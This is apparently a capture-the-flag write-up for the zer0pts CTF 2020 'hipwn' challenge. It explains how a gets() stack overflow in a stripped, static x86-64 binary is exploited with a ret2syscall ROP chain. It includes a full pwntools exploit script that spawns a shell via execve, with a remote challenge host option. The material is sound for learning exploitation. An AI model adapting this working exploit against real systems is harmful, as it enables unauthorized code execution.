Tags: ret2syscall rop 

Rating: 5.0

Challenge

Hi, all pwners over the world!

chall

main.c

Recon

$ file chall 
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

Note that this binary is statically linked, so we can't use ret2libc. In addition, this binary is stripped, so we know nothing about the function names.

$ checksec chall
[*] '/root/Dropbox/Pwnie-Island-Wargame/zer0pts_CTF/Pwn/hipwn/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Since NX is the only protection turned on, this challenge can be solved with some ROP technique.

Source Code

#include <stdio.h>

int main(void) {
  char name[0x100];
  puts("What's your team name?");
  gets(name);
  printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
  return 0;
}

Obviously gets(name); triggers stack overflow that allows us to control RIP.

Analysis

Since the binary is statically linked and stripped, the first thing we should try is ret2syscall. To learn more about ret2syscall, check out ret2syscall Cheat Sheet.

Let's look for necessary ROP gadgets:

ROPgadget

However, the string /bin/sh is not inside the binary:

No "/bin/sh"

This makes the challenge slightly difficult. What we have to do here is to pass the string "/bin/sh" to the .bss section. The address of .bss can be easily found using Pwntools (bss = elf.bss()). Since the binary contains the function gets, we can call gets(bss) to open a STDIN session and pass the string "/bin/sh" from here.

Next, we need to find the address of gets. But the binary is stripped, so how do deduce the location of this address? First disassemble the binary:

$ objdump -D -M intel chall > disassembly.asm

We know that the SIGSEGV happens at 0x40019c:

SIGSEGV

So gets must be happening a few instructions before this point. Search 40019c in the disassembly:

Disassembly

There are three functions get called here:

  1. 0x40062f
  2. 0x4004ee
  3. 0x400591

According to the source code, we can deduce the correspondences based on the order that functions get called:

  1. 0x40062f => puts
  2. 0x4004ee => gets
  3. 0x400591 => printf

So the address that we are looking for is 0x4004ee.

Now we have everything ready for the ret2syscall attack.

Exploit

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("chall", checksec=False)

local = True
if local:
    r = elf.process()
else:
    host = "13.231.207.73"
    port = 9010
    r = remote(host, port)

#--------Addresses--------#

pop_rax = 0x0000000000400121
pop_rdi = 0x000000000040141c
pop_rsi_pop_r15 = 0x000000000040141a
pop_rdx = 0x00000000004023f5
syscall = 0x00000000004003fc

bss = elf.bss()
gets = 0x4004ee

#--------ret2syscall--------#

offset = 264

payload = flat(
    b"e" * offset,
    # Round 1: call gets(bss)
    pop_rdi, bss,
    gets,
    # Round 2: call execve("/bin/sh", 0, 0)
    pop_rax, 59,
    pop_rdi, bss,
    pop_rsi_pop_r15, 0, 0x13371337,
    pop_rdx, 0,
    syscall,
)

r.readuntil("What's your team name?\n")
r.sendline(payload)
r.sendline("/bin/sh\x00")
r.interactive()
Original writeup (https://hackmd.io/@PwnieIsland/zer0pts-ctf-2020-hipwn).